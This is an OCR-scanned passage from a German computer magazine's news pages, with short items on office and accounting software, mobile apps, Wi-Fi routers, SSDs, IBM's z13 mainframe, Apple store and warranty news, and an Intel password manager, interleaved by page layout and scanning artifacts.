in Perfect Write zu schreiben oder 
Adressbücher und Produktlisten 
in Perfect Database zu verwalten. 
Rund 15 000 Vorlagen sollen die 


wichtigsten privaten und gewerb- 
lichen Aufgaben unterstützen. 
Laut bhv lesen und schreiben 
die Perfect-X5-Programme die 
aktuellen und die alten MS-Of- 
fice-Dateiformate. Aus jedem 
Programm heraus lassen sich 
Dokumente auch als PDF expor- 
tieren. Office Perfect X5 läuft auf 
PCs mit Windows XP oder höher 
und kostet inklusive gedrucktem 
Handbuch und einer Lizenz für 
3 PCs 40 Euro. (db) 


Die Oberfläche der Office- 
Perfect-X5-Anwendungen 
lehnt sich an die von Micro- 
softs Office-Programmen an. 


Buchhaltung importiert Lohndaten 


Die Buchhaltungs- und Faktura- 
programme Win-, Mac- und Lin- 
HaBu von MCRichter für die gän- 
gigen PC-Betriebssysteme können 


in der Version 15 mit dem Lohn- 
abrechnungsprogramm jLohn 
kooperieren. Kleinbetriebe und 
Freiberufler können mit den 
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Quelloffenes Warenwirtschaftssystem 


Das Warenwirtschaftssystem Wa- 
wision 3.1 vom Hersteller Embed- 
ded Projects kombiniert Werk- 
zeuge zur Materialbeschaffung 
mit einer Lagerverwaltung, einer 
Importschnittstelle für Web- 
shops und Modulen zur Zeiter- 
fassung und Abrechnung von 
Dienstleistungen. Mit sogenann- 
ten Profi-Plug-ins soll die Soft- 
ware außerdem die Produktions- 
planung, Buchhaltung mitsamt 
Mahnwesen, Abo-Verwaltung 
und eine Ticket-bezogene Kun- 
denbetreuung beherrschen. Eine 
Adapterbox soll die Anbindung 
etwa von Barcode-Lesern, Waa- 
gen und Etikettendruckern vor 
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Ort erleichtern. Die Anwendung 
auf Basis der Datenbank MySQL 
und der Skriptsprache PHP be- 
nötigt einen Server unter Win- 
dows, Linux oder Mac OS und 
ist per Web-Browser benutzbar. 
Sie ist im Quellcode unter der 
AGPL 3 als Enterprise- und seit 
Januar auch als kostenlose Start- 
up-Version ohne Unterstützung 
der Profi-Plug-ins erhältlich. Nut- 
zer dürfen ihrerseits unter den- 
selben Lizenzbedingungen eige- 
ne Erweiterungen vermarkten. 
Die Enterprise-Version kostet 
einschließlich Support und eini- 
gen kommerziellen Plug-ins 
1190 Euro netto. (hps) 


Anwendungen außer Einnahme- 
Überschussrechnung, Bilanzbuch- 
haltung und Umsatzsteueranmel- 
dungen jetzt auch individuelle 
Auswertungen mit zusätzlichen 
Positionstypen bewerkstelligen. 
Bei der Auftragsbearbeitung soll 
die Software jetzt festgelegte 
Vorgabetexte anhand von Tasta- 
turkürzeln in Angebote und 
Rechnungen einfügen. Anders als 
die meisten Konkurrenzprodukte 
werden die HaBu-Programme 
von Jahr zu Jahr kostenlos an die 
veränderten Rechtsanforderun- 
gen angepasst. 

Die Ausstattungen der Soft- 
ware reichen von der Ausführung 


xHaBu aus dem Mac-App-Store 
ist wahlweise in Deutsch und 
Englisch bedienbar. 
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Bronze (nur Finanzbuchhaltung) 
für 40 Euro brutto über die Vari- 
anten Silber und Gold bis zur Ser- 
ver-Ausgabe Platin für 250 Euro. 
Diese beherrscht Bilanzbuch- 
haltung, Reisekostenabrechnung 
und Fahrtenbuch, Lieferantenver- 
waltung und Bestellwesen. Für 
Mac-Nutzer gibt es alternativ zu 
Mac-HaBu Silber seit Neuestem 
das Paket xHaBu. Das ist zwar be- 
quem über den Mac-App-Store 
herunterladbar, aufgrund von 
Apples Vorgaben jedoch weder 
zur vorgeschriebenen Umsatz- 
steueranmeldung fähig noch im 
LAN nutzbar. Immerhin dürfen 
xHaBu-Käufer kostenlos auf Mac- 
HaBu Silber umsatteln. (hps) 


dE Hersteller-Webseite: 
ct.de/yk9g 


Die Module von Wawision tauchen im Browser 


als großflächige Icons auf. 
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Ressourcen effizient nutzen 


Das Projektmanagement-Paket 
Planview Enterprise 11.3 hat 
ein Modul für Investitions- und 
Kapazitätsplanung erhalten. Mit 
einem Klick soll sich darin ein 
Überblick über alle Projektpläne 
im Betrieb abrufen lassen. Inves- 
titionen werden nach konkreten 
Geschäftsauswirkungen, Prioritä- 
ten und Realisierungs-Fortschrit- 
ten sortiert und sollen sich mit 
unterschiedlichen Eckwerten in 
alternativen Szenarien betrach- 
ten lassen. Nachdem der Herstel- 
ler Planview im Sommer das 
Softwarehaus Projectplace über- 
nommen hat, kooperiert die 
Software jetzt auch mit dessen 


Mit Planview Enterprise lassen 
sich Produktionsmittel und 
Investitionsbudgets über 
klassische Gantt-Diagramme 
verplanen. 


Webdienst zur kooperativen Pro- 
jektverwaltung und mit verbrei- 
teten Anwendungen zur agilen 
Softwareentwicklung. Laut Plan- 


view kann man Zeitpläne per 
Drag & Drop anpassen, als PDFs 
und als Live-Roadmaps für 
PowerPoint-Präsentationen ex- 


aktuell | Anwendungen 


portieren. Nicht zuletzt soll Plan- 
view Enterprise jetzt auch als 
Add-in für Microsoft Project 


agieren können. (hps) 


V/ Planview Enterprise 


My Plaenriew Requests * 
| «Back | = | Product Portfolio: Camera Portfoßo | Portfolio View 1 
8) 0 a “|? 
ee Analyze 
Portiolo Manager TFT TE Nr} Disapproved Product Bubble | More 
J 
Cohn Set Gantt v | | Bsseine: Znd Baseine v [or] | 4 [Ess r 
Elname ected Revenue Product Launch Date Product Lifecycie Stage no Q) 2010 Q4 2010 ara0ı1 a2 011 ara a0 arzo12 o2 


E) #8C Prosuct Breakcoum 
E) Cameras S15.215.00000 


E) Proaset Line Pont and Shoot 139% 


E) Prosuet Ms 46 Camera S220.000.00 MIROO9  Intioducton 
[E) Prosvet Sure Shot Camera 233% mA0N  Deveiipmeni 
[) Proauet Power Spot Camera 82.400.000 00 vIR00r Ietoducton 
[E) Prosuet Cost Pıx Camera 82.240.000 00 YIn2008 Inodueton 


Proaset Peggis Pont and $ 


Work Lewet Camera Pro. 
Work Levet Opal Photo, 
Work Levet dacad 

Work Lewet Higb-resckut: ENMB 
Work Levet Impeowe Shu 
Viock Levet Peggls Cam 
Work Levet Photo Est S. 


5170.000.09 


18 Er a He lie Er Hi IS 1 FT ER ET Helle] 


Work Levet Revised iiie 


Anwendungs-Notizen 


Die kostenlose Bürosuite OpenOffice 
4.1.1 ist auf das Betriebssystem OS/2 
beziehungsweise dessen nach wie vor 
erhältliche Distribution eComStation 


portiert worden. 


Für Hausbesitzer und -verwalter hat 
Manfred Richter seine Programme Mac-, 
Win- und Lin-NeKo zur Nebenkosten- 


abrechnung in Version 15 fertiggestellt. 
Damit ermittelte Abrechnungen lassen 
sich in Einzelabschnitte mit Zwischen- 
summen gliedern. 


und als Zusammenfassung an einen Frage- 
steller zu mailen. 


Die Kontaktdatenbank OrgAnice 2012R2 
hat im Rahmen des jüngsten Updates im 
Januar eine Schnittstelle zu Microsofts 
Notizenprogramm OneNote erhalten. 


Das Kundendienstprogramm TickX 1.4 
erleichtert festgelegte Arbeitsabläufe mit 
zusätzlichen Menüeinträgen, um zum 


Beispiel ein Ticket gleichzeitig zu speichern CE Bezugsquellen: ct.de/yk9g 
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iOS-Dokumenten-Scanner für unterwegs 


Fürs Einscannen von Rechnun- 
gen, Texten oder Fotos braucht 
man keine teure Zusatz-Hard- 
ware - ein Smartphone mit or- 
dentlicher Kamera reicht. Diesen 
Umstand macht sich die kosten- 
lose Scanner-App Scannable von 
Evernote zunutze, die seit Kurzem 
für iOS-Smartphones verfügbar 
ist. Das Einscannen ist damit kin- 
derleicht: einfach das Handy über 
den Text halten, dann kurz war- 
ten, bis die App den Seitenumriss 
erkannt hat und automatisch aus- 
löst, gegebenenfalls den Aus- 
schnitt anpassen, nächste Seite. 

Dabei sollte man das Blatt auf 
einen dunklen Hintergrund le- 
gen, bei Erkennungsschwierigkei- 
ten kann man den Scanner auch 
manuell auslösen. So lassen sich 
auch längere Texte schnell ab- 
scannen; einzelne Blätter werden 
als JPG gespeichert, mehrere zu 
einem PDF aus JPGs zusammen- 
gefügt - eine Texterkennung 
(OCR) wendet Scannable dabei 
nicht an. 

Die App versucht, möglichst 
viel zu automatisieren: So dreht 
es Dokumente je nach Textaus- 
richtung, optimiert den Kontrast 
für die Lesbarkeit und wandelt 
Visitenkarten (anders als bei nor- 
malen Text-Scans) per OCR in 
eine VCF-Datei um. Die einge- 
scannten Dokumente kann man 
an die Online-Notizenverwal- 
tung von Evernote schicken, per 
Mail versenden oder in iCloud, 
Handy-Galerie und anderen 
Apps abspeichern. 


Scannable verwandelt das 


Smartphone in einen 
praktischen Dokumenten- 
Scanner. 


Richtig rund läuft die App 
noch nicht: Im Test stürzte sie 
gelegentlich ab, außerdem gibt 
es noch kleine Bugs. Auch kann 
man als Nutzer weder die Ausga- 
beformate anpassen noch vorab 
definieren, um was für eine Vor- 
lage es sich handelt: In unserem 
Test erkannte sie auch Quittun- 
gen als Visitenkarten und opti- 
mierte Textseiten mit Bildern für 
Fotografien, wodurch die Texte 
schlecht lesbar waren. (acb) 


Sprache und Schilder in Echtzeit übersetzen 


Die Babelfische aus Douglas 
Adams’ Anhalter-Romanen las- 
sen grüßen: Die App Google 
Übersetzer übersetzt in Version 
3.1 Texte in Ton und Bild live, 
während man sie einspricht oder 


Deutsch 
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ACHIM Barczok, Jan SCHOOLBOY 


UNEQUAL 
BROTHERS AND SISTERS 


WINDOWS-PHONEs 
NOKIA Lumia 730, 735 AND 830 


THE Lumia-SMARTPHONES 730, 735 AND 
830 ARE MICROSOFT NEW MIDDLE CLASS: 
ORDINARY HARDWARE WITH CURRENT 
THE PRICE RANGE 


die Smartphone-Kamera darüber 
hält. 

Während einer Unterhaltung 
legt man das Smartphone einfach 
zwischen sich und seinen Ge- 
sprächspartner. Jeder spricht in 


Englisch 


AS. 


Lightroom auf Android-Smartphones 


Adobes Foto-Entwickler Light- 
room gehört zu den praktischs- 
ten Werkzeugen für Viel-Foto- 
grafierer - jetzt gibt es die mobi- 
le Version auch für Android. 

Die App verbindet die Desk- 
top-Version von Lightroom über 
Adobes Creative Cloud mit dem 
Smartphone und synchronisiert 
die über Suchanfragen erstellten 
Kollektionen des Anwenders. In 
der App kann man danach im 
Prinzip fünf Dinge machen: 
Fotos sortieren, sie bearbeiten, 
sie an soziale Netzwerke weiter- 
geben oder sie sich auch einfach 
nur ansehen. Außerdem kann 
man die Fotos auf dem 


Smartphone anders herum an 
Lightroom auf dem PC schicken. 

So umfangreich wie auf dem 
Desktop ist die Mobil-Version 
nicht: Sie stellt grundlegende 


Funktionen zur Bewertung und 
zur Fotokorrektur bereit, darun- 
ter Sternebewertung, das Basis- 
Set zur Bearbeitung von Belich- 
tung, Kontrast, Sättigung, Dyna- 
mik, Klarheit, Tiefen und Lichtern 
aus dem Block Grundeinstellun- 
gen, die Presets zur Schnellent- 
wicklung und ein Beschnittwerk- 
zeug. 

Wie die iOS-Version ist die An- 
droid-App zwar kostenlos, aber 
ohne Creative-Cloud-Abo nutz- 
los (mindestens 11,89 Euro mo- 
natlich). Derzeit läuft sie nur auf 
Smartphones und setzt Android 
4.1 oder höher voraus. Außer- 
dem empfiehlt Adobe mindes- 
tens 8 GByte freien Speicherplatz 
und eine Quad-Core-CPU mit 1,7 
GHz. Auf dem Desktop muss 
mindestens Lightroom 5.4 instal- 
liert sein. (akr) 


Lightroom Mobile synchronisiert Fotos zwischen Desktop und 
Smartphone und macht sie auch unterwegs bearbeitbar. 


seiner eigenen Sprache und war- 
tet kurz, die App lässt die Über- 
setzung über die Lautsprecher er- 
tönen: so kann man sich trotz un- 
terschiedlicher Sprachen unter- 
halten. Die Ergebnisse sind eher 
durchwachsen, für Small-Talk 
reicht's aber. Genauso einfach 
funktioniert die Texterkennung in 
Bildern: Dazu hält man die 
Smartphone-Kamera über den 
Text und die Software blendet die 
Übersetzungen über dem Origi- 
naltext ein. 

Die App Google Übersetzer 
gibt es kostenlos für Android 
und iOS. (acb) 


Googles Übersetzer fügt 
Übersetzungen von Texten ins 
Live-Bild der Kamera ein. 
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Ö App-Notizen 


Googles Chat-App Hang- 
outs für i0OS kann nun Kon- 
takten den Standort per Tip- 
pen freigeben. Außerdem 
lassen sich Freunde per Tele- 
fonnummer finden. 


GIFs statt Worte: Mit der iOS- 
Tastatur PopKey kann man 
seine Kontakte mit einem rie- 
sigen Sortiment animierter 
GIFs zuballern - die GIFs sind 
in der Tastatur nach Themen 
und Popularität sortiert. 
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Router mit drei Funkmodulen 


Die Netzwerkausrüster D-Link und Trendnet 
haben neue Router mit je drei Funkmodulen 
vorgestellt. Zwei Module senden im 5-GHz- 
Band, eines im 2,4-GHz-Band. D-Links Gerät 
hört auf den Namen DIR-890L, der Router 
von Trendnet heißt TEW-828DRU. Beide Her- 
steller bezeichnen ihre Produkte als Triband- 
Geräte, obwohl sie nur auf zwei Funkbän- 
dern senden. Einen ersten Vorgeschmack auf 
echtes Triband hat Qualcomm hingegen auf 
der CES geliefert. Ein dort vorgestellter Pro- 
totyp nutzt zusätzlich das 60-GHz-Band. 

Die zwei 5-GHz-Module der Router über- 
tragen jeweils nach dem IEEE-Standard 
802.11ac bis zu 1300 MBit/s brutto mit drei 
separaten Datenströmen (3-Stream-MIMO). 
Beide 5-GHz-Funkzellen verwenden dieselbe 
SSID und erscheinen damit als eine logische 
Einheit. Unterschiedlich schnelle 11ac-Clients 
teilen die Router in zwei Gruppen auf und 
weisen sie verschiedenen Funkmodulen zu. 
Zudem kann man ein Gastnetz aufspannen. 

Im 2,4-GHz-Band bringen es der D-Link 
und der Trendnet gemäß IEEE 802.11n auf 
450 MBit/s brutto. Nutzt die Gegenstelle die 


WLAN-Winzling 


Sitecom hat den USB-WLAN-Adapter WLA- 
3001 so klein wie einen Bluetooth-Dongle 
konstruiert. Das zierliche Gerät überträgt 
nach dem IEEE-Standard 802.11ac bis zu 433 
MBit/s brutto im 5-GHz-Band. Im 2,4-GHz- 
Band schafft es 150 MBit/s brutto gemäß IEEE 


Trendnets TEW-828DRU und D-Links DIR-890L erhöhen die Übertragungskapazität 
im 5-GHz-Band, indem sie dort zwei separate Funknetze mittels unabhängiger 


Funkmodule aufspannen. 


bei 2,4 GHz proprietäre und wenig verbreite- 
te QAM256-Modulation, so sind maximal 600 
MBit/s brutto möglich. Zur Funkübertragung 
kommen bei beiden Geräten jeweils sechs 
Antennen zum Einsatz. 

Im Inneren des Trendnet TEW-828DRU 
arbeiten der Broadcom-Chipsatz 5G WiFi 
Xstream und ein 1-GHz-Dual-Core-Prozessor. 
Beim DIR-890L gibt D-Link den Chipsatz 


802.11n. Der niederländische Netzwerkaus- 
rüster richtet sich mit dem WLAN-Dongle an 
Besitzer älterer Notebooks, die ihre Computer 
für das 5-GHz-Band tauglich machen wollen 
und den Adapter permanent stecken lassen. 
Der WLA-3001 kostet rund 25 Euro. (fkn) 


Schlanke Switches mit Kabelmanagement 


Die Gigabit-Smart-Switches der Click-Switch- 
Reihe von Netgear sehen fast aus wie Steck- 
dosenleisten und sollen sich unauffällig und 
ohne Kabelgewirr etwa in Büros und Wohn- 
räumen einfügen. Die Amerikaner vertreiben 
ein Modell mit acht Anschlüssen (GSS108E) 
für 65 Euro und ein 16-Port-Modell (GSS116E) 
für 180 Euro. Zwei nur Strom führende USB- 
Buchsen am GSS108E laden etwa Smart- 
phones auf. 

Beide Switches lassen sich über ein Web- 
interface konfigurieren, legen getrennte 
virtuelle Netzwerke nach IEEE 802.1Q an, 
beherrschen IGMP-Snooping und priorisie- 


ren Datenpakete anhand der Verkehrsart 
(Type of Service, TOS) oder mittels DSCP- 
Prioritätsstufen. Zur Analyse des Daten- 
verkehrs bieten beide Geräte Port Mirroring 
an. Der 16-Port-Switch GSS116E fasst zu- 
sätzlich bis zu acht Anschlüsse zu einer 
Gruppe zusammen (Link Aggregation nach 
IEEE 802.3ad), um den Datendurchsatz zu 
erhöhen. 

Der Name der Serie leitet sich von der mit- 
gelieferten Halterung ab, mit der man ein 
Gerät etwa mit der Rückseite direkt an einer 
Wand festklicken kann. So fallen die kompak- 
ten Switches kaum auf. (fkn) 


Die Click-Switch-Reihe von Netgear lässt sich auch mit der Rückseite 
an der Wand montieren. 
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nicht an, er nutzt jedoch ebenfalls eine 
1-GHz-Dual-Core-CPU. Für verkabelte Verbin- 
dungen kommen vier Gigabit-Anschlüsse 
sowie jeweils ein USB-3.0- und ein USB-2.0- 
Port zum Einsatz. 

Trendnet will seinen Router im Februar für 
249 Euro auf den Markt bringen. D-Link peilt 
die Veröffentlichung für Mai an. Der Preis lag 
bis zum Redaktionsschluss nicht vor.  (fkn) 


Der WLAN- 
Adapter WLA- 
3001 von Sitecom 
belegt so wenig 
Platz wie ein Blue- 
tooth-Dongle. 


Ui Netzwerk-Notizen 


In den VPN-Routern der RS-Serie von Bin- 
tec Elmeg lässt sich seit Januar mit einem 
Lizenz-Upgrade die maximale Anzahl an 
VPN-Tunneln von fünf auf 30 Tunnel er- 
höhen. Die Lizenz kostet 200 Euro und gilt 
für die Geräte RS123, RS123w, RS353a, 
RS353aw, RS353j, RS353jv, RS353jw, 
RS353jwv und RS353jv-4G. 


Am Internet-Austauschknotenpunkt 
De-CIX in Frankfurt wurden zum Jahres- 
beginn bis zu 3,7 TBit/s übertragen. Im 
Vergleich zum Vorjahr ist damit der Ge- 
samt-Traffic um rund 25 Prozent gestie- 
gen, was etwa auf die zunehmende Ver- 
breitung von HD-Video-Streaming, On- 
line-Spielen und Big Data zurückgeht. 


Zyxels Business-AP NWA1100-NH ist der 
Nachfolger des NWA1100-N. Er besitzt 
eine um 2 dBm höhere äquivalente iso- 
trope Strahlleistung und überträgt nach 
dem IEEE-Standard 802.1 1n bis zu 300 
MBit/s brutto im 2,4-GHz-Band (2x2 
MIMO). Auf ein Modul für 5 GHz hat der 
Hersteller wie beim Vorgänger verzichtet. 
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IBM nächste Mainframe-Generation z13 


Der Nachfolger des IBM-Mainframe z12 heißt 
- wenig überraschend - z13. Wichtigste 
Neuerung ist der Prozessor mit nunmehr 
acht Kernen, der analog zum Powerß für den 
22-nm-Herstellungsprozess designt wurde. 
Wie die Vorgänger übernimmt er Teile der 
Power-Technologie, aber in einer eigenen, 
für Mainframe-Aufgaben optimierten Archi- 
tektur. Dazu gehört erstmalig für Mainframes 
Simultaneous Multithreading (SMT), für das 
z/OS 2.1 schon vorbereitet ist. Es beschränkt 
sich hier allerdings auf zweifaches SMT, ist 
also nicht vierfach wie beim Power®. 

Die Caches sind deutlich größer als beim 
Power8 oder beim Vorgänger: Der L2-Cache 
wuchs von 1 auf 2 MByte, L3 von 48 auf 
64 MByte und L4 von 384 auf 480 MByte. Der 
Takt des Prozessors ist allerdings etwas nied- 
riger als bei der zEC12, die mit 5,5 GHz den 
höchsten Takt in der kommerziellen Prozes- 
sorszene besaß. Das sorgte für eine sehr hohe 
Single-Thread-Performance, die durchaus 
auch bei Mainframes gefragt ist. Die z13 kom- 
pensiert den niedrigeren Takt durch eine 
breitere und schnellere Instruktions-Pipeline 
sowie aggressivere Out-of-Order-Techniken. 
Die Vektor-, Kryptografie- und Kompressions- 
einheiten wurden zudem weiter verbessert, 
die Echtzeitverschlüsselung zum Beispiel 
schafft den doppelten Durchsatz wie zuvor. 

Doppelt so schnell mit bis zu 16 GBit/s ar- 
beiten auch die Links namens FICON Ex- 


Schnellere (PCI-Express-)SSDs 


Die Firmen Samsung, Plextor, Toshiba und 
OCZ haben neue Solid-State Disks (SSDs) an- 
gekündigt, die via PCI Express 3.0 oder PCle 
2.0 x4 höhere Performance liefern sollen als 
via SATA 6G. Die Hersteller haben dabei sehr 
unterschiedliche Einsatzgebiete im Visier. 

Die breiteste SSD-Palette präsentierte 
Samsung. Besonders spannend ist die SM951 
als erste M.2-SSD mit vier PCle-3.0-Lanes. 
Damit soll sie bei der Datentransferrate die 
2-GByte-Marke beim Lesen knapp übertref- 
fen. Beim Schreiben verspricht Samsung bis 
zu 1,55 GByte/s und 130 000 IOPS. Beim 
Lesen sollen es 85 000 IOPS sein, also weni- 
ger als bei den schnellsten SATA-6G-SSDs. 
Auf eine flache M.2-Platine passen aller- 
dings auch weniger Flash-Chips, die der 
Controller parallel nutzen könnte, und auch 
die Möglichkeiten zur Kühlung sind be- 
grenzt. 
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IBMs Mainframe z13, einer der Stars der 
kommenden CeBIT 


press165. Mit bis zu 10 Terabyte kann eine 
z13 zudem dreimal so viel Speicher ansteuern 
wie eine z12. In-Memory-Datenbanken sollen 
damit im Schnitt um 70 Prozent schneller ar- 
beiten. Data Analytics, ein wichtiges Einsatz- 


Plextor hat von der aktuellen M.2-SSD M6e 
mit PCle 2.0 x2 eine Black Edition aufgelegt. 
Attraktiver ist die später erwartete M7e mit 
dem PCle-2.0-x4-Controller Marvell 88559293, 
die ähnliche Leistungen bringen dürfte wie 
die aktuelle Samsung XP941 - also die Vor- 
gängerin der erwähnten SM951. 

Auf Tablets und Billig-Notebooks zielt To- 
shiba mit einer PCle-3.0-x1-SSD in Form 
eines einzigen, 1,4 bis 1,65 Millimeter dicken 
Chips. Drinnen steckt ein Stapel aus Control- 
ler- und Flash-Dice. Die Gehäusefläche be- 
legt mit 1,6 cm x 2 cm nur wenig mehr als 
die größten eMMC-Flashes, die zurzeit in vie- 
len Tablets, Chromebooks und Billig-Note- 
books mit Windows 8.1 stecken - etwa auch 
im HDMI-Stick, den wir auf S. 58 vorstellen. 

Aktuelle eMMC-Flashes schaffen beim 
Lesen höchstens 170 MByte/s. PCle 3.0 ver- 
spricht im Vergleich zu eMMC höhere Daten- 


Die BG-SSDs von Toshiba 
mit PCle-1x-Schnittstelle 
sehen aus wie ein einziger 
Chip und lassen sich direkt 
auf Mainboards auflöten 
oder auf M.2-Platinen. 
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gebiet für Mainframes, kann dank Hardware- 
Beschleunigung gar 17-mal so schnell laufen 
wie zuvor. Als neuer Schwerpunkt wird von 
IBM der Support für Mobilgeräte betont, sei 
es in der Cloud via BlueMix oder lokal „on Pre- 
mise“ mit Webdiensten. Bis zu 2,5 Milliarden 
Transaktionen pro Tag kann ein z13-NE1 ver- 
arbeiten. 

Ein spezielles Multichip-Modul gibt es bei 
der 8-Kern-CPU nicht mehr, die einzelnen Pro- 
zessoren sitzen auf Boards in den CPU-,Books” 
- so nennt IBM die Module. Bis zu 141 physi- 
sche Kerne stehen im Spitzenmodell z13-NE1 
für Applikationen zur Verfügung; die restli- 
chen sind dem Benutzer entzogen, sie dienen 
internen Verwaltungsaufgaben beziehungs- 
weise als Reserve im Fehlerfall. 

Die z13-Systeme sollen ab dem 9. März lie- 
ferbar sein, sodass man sie etwas später auf 
der CeBIT wird bewundern dürfen. Preise 
weiß man noch nicht, aber im Vergleich zu 
den schnellsten x86-Servern sollen die 
Mainframes bei Cloud-Diensten um 32 Pro- 
zent kosteneffizienter sein. Die reinen Hard- 
warekosten der vergleichsweise wenigen 
Mainframes machen jedoch gar nicht so sehr 
das Geschäft aus, sondern die Infrastruktur 
drum herum: Allein in Deutschland hängen 
laut IDC etwa 32 000 Arbeitsplätze direkt 
dran. Software und Dienstleistungen bringen 
hier einen Jahresumsatz von rund 1,7 Milliar- 
den Euro. (as) 


Via PCle 3.0 x4 soll die Samsung SM951 
über 2 GByte/s schaufeln. 


transferraten. Eine Lane genügt für theore- 
tisch 1 GByte/s - aber die winzigen Toshiba- 
SSDs der Serie „BG“ dürften deutlich darun- 
ter bleiben. 

Die Toshiba-Sparte OCZ reiht sich derweil 
unter die Hersteller von PCle-3.0-x4-SSDs mit 
NVMe-Protokoll ein, die Server auf Trab brin- 
gen sollen: Bis zu 3,2 TByte fassen die Enter- 
prise-SSDs mit 19-nm-Flash-Chips von Toshi- 
ba, die in 2,5-Zoll-Gehäusen für Backplanes 
mit SFF-8639-Steckern sitzen. Dieser Verbin- 
der führt vier PCle-Lanes und liefert bis zu 
25 Watt Leistung - die Enterprise-SSDs tra- 
gen Kühlrippen. OCZ plant auch M.2-SSDs 
mit NVMe und einem selbst entwickelten 
PCle-Controller. (ciw) 
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Apple räumt Rückgaberecht 
im iTunes-Store ein 


Seit Kurzem können sich iTunes-Kunden 14 
Tage lang die Kosten für versehentlich ge- 
kaufte Musik, Apps, E-Books, Serien oder 
Filme zurückerstatten lassen. Gründe muss 
man nicht angeben (siehe c't-Link). Damit 
verankert Apple das Widerrufsrecht für Kun- 
den in der Europäischen Union in seinen 
Geschäftsbedingungen. Ausgenommen sind 
iTunes Match, Staffel- und Multipässe von 
Serien sowie iTunes-Geschenke und Gutha- 
benkonten. In diesen Fällen kann man sich 
weiterhin an den Kundendienst wenden, der 
im Einzelfall entscheidet. Apple behält sich 
vor, Nutzern, die exzessiv gekaufte Inhalte 
zurückgeben, die Rückgabeoption zu sper- 
ren, um Missbrauch vorzubeugen. (rsr) 


EE Rückgabe-Homepage: ct.de/yvsv 


Problem melden 


| 


IE 


Bisher konnten iTunes-Kunden nur 
umständlich über den Kundendienst 
Käufe rückabwickeln - das hat sich 
nun geändert. 


MacBook-Dock mit Thunderbolt 2 


Kanex hat ein MacBook-Dock mit Thunder- 
bolt-2-Anschluss angekündigt. Das Thunder- 
bolt 2 Express Dock bietet drei USB-3.0-Ports 
(wovon einer für das schnelle Aufladen von 
iPhone, iPad und Co. geeignet ist), eine Giga- 
bit-Ethernet-Schnittstelle, einen HDMI-Video- 
port und einen Kopfhöreranschluss. Die zwei- 
te Thunderbolt-Buchse erlaubt weitere Thun- 


derbolt-Geräte in Kette zu betreiben. Ein 
Audioeingang fehlt. Mitgeliefert werden 
Thunderbolt-Kabel (45 Zentimeter) und Netz- 
teil. Version 2 der Schnittstelle kann 20 statt 
10 GBit/s übertragen. Das Gehäuse des Kanex- 
Docks ist aus Aluminium und Kunststoff gefer- 
tigt und soll ab Frühjahr zu einem Preis von 
voraussichtlich 230 Euro verfügbar sein. (jes) 


Gericht kippt Apple-Garantieklauseln 


Das Berliner Landgericht hat sechzehn 
Vorgaben in Apples einjähriger Hersteller- 
garantie für unwirksam erklärt. Die Richter 
bemängelten unter anderem eine Klausel, 
die die Garantie nur für „normal genutzte” 


Geräte gewähre. Sie entwerte das Garantie- 
versprechen und bleibe diffus. Auch den 
Ausschluss optischer Sachmängel erachtete 
das Gericht als unzulässig. Apple hat die 
beanstandeten Klauseln bereits überabeitet, 


Patent auf biegsame Geräte erteilt 


Apple bekam ein Patent für flexible Kompo- 
nenten in einem elastischen Gehäuse zuge- 
sprochen. Damit will das Unternehmen 
Sturz- und Stoßschäden vermindern. Den Pa- 
tentantrag hat Apple 2011 eingereicht. Das 
Mobilgerät soll aus verschiedenen Schichten 
bestehen und in der verbogenen Position 
verbleiben können. Apple möchte zudem 
verschiedene Verformungen als Nutzerein- 


gabe verwenden: Zusammenfalten könnte 
etwa einen Ruhemodus auslösen, ein Verdre- 
hen das Gerät ein- oder ausschalten. Ob je- 
mals ein Produkt mit dieser Technik entsteht, 
ist jedoch offen. (rsr) 


Apple verspricht sich von flexiblen 
Mobilgeräten weniger Schäden bei 
Stürzen und neuartige Bedienkonzepte. 


Spotlight birgt 
Datenschutzproblem 


Die Suchfunktion von OS X Yosemite lädt 
ungefragt Inhalte aus HTML-Mails vom je- 
weiligen Server nach, wenn man Suchtreffer 
per Quicklook-Funktion anzeigen lässt. Das 
geschieht selbst dann, wenn das Nachladen 
in den Mail-Einstellungen deaktiviert war. 
Spam-Versender können das nutzen, um he- 
rauszufinden, ob der Nutzer Mails abgerufen 
hat, wann und von welcher IP-Adresse aus, 
und obendrein seinen Standort ermitteln. Um 
das Tracking zu verhindern, kann man das 
Durchsuchen von E-Mails in den System- 
einstellungen abschalten oder ein kosten- 
loses Plug-in installieren (siehe c't-Link), das 
die Mac & i-Redaktion entwickelt hat. Es funk- 
tioniert auch mit älteren OS-X-Versionen. (rsr) 


CE Skript gegen Tracking: ct.de/yvsv 


Das 
MacBook- 
Dock von 
Kanex bietet 
über eine Thunder- 
bolt-2-Buchse USB 3.0, Ss 
GBit-Ethernet, HDMI und 
einen Audioausgang. 


sie werden hinsichtlich der Urteilsbegrün- 
dung derzeit geprüft. Das Urteil ist noch 
nicht rechtskräftig. Die Klage hatte der 
Bundesverband der Verbraucherzentralen 
(rsr) 


angestrengt. 


Ui Apple-Notizen 


Apple hat im Jahr 2014 insgesamt rund 
10 Milliarden US-Dollar Provision an die 
Entwickler ausgeschüttet. Das ist ein 
neuer Rekord. 


Jede Woche gewinnt die iBooks-Platt- 


form eine Million Nutzer hinzu. Das hat 
iBooks-Store-Direktor Keith Moerer ge- 
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meldet. Einen Grund hierfür sieht er 

in der Integration der E-Book-App iBooks 
in iOS 8. Auch die Family-Sharing-Option 
in dem Mobil-Betriebssystem helfe der 
Plattform, so der Apple-Manager. 


Apple hat am 8. Januar mit Verweis auf den 
Dollar-Kurs und Steuerveränderungen die 
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Preise im App-Store um durchschnittlich 
zehn Prozent erhöht. Damit kostet die 
günstigste App nun 0,99 Euro. 


Hersteller dürfen künftig einen Lightning- 
Anschluss in Zubehör verwenden, wenn 
sie an Apples Made for-iPhone-Programm 
teilnehmen. 
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Intel stellt eigenen Passwortmanager vor 


Intel Security (ehemals McAfee) hat einen 
Passwortmanager vorgestellt, der schwer 
merkbare Passwörter durch biometrische 
Merkmale ablösen soll. Momentan befindet 
sich True Key noch in der Entwicklung. Inte- 
ressenten können sich auf eine Warteliste 
setzen lassen, um den Dienst vor dem offi- 
ziellen Start auszuprobieren. 

True Key funktioniert Hand in Hand mit 
einem Cloud-Speicher, dem man seine Zu- 
gangsdaten anvertrauen muss. Als Master- 
passwort dienen Merkmale wie ein Finger- 
abdruck oder ein Webcam-Schnappschuss - 
hat man sich auf diese Weise gegenüber der 
App authentifiziert, übernimmt TrueKey das 
Ausfüllen von Login-Formularen. Man soll 
den Cloud-Speicher aber auch durch weitere 
Faktoren absichern können. Intel führt als Bei- 
spiel das Smartphone auf: Ist es mit dem 
True-Key-Account verknüpft, muss der Nutzer 
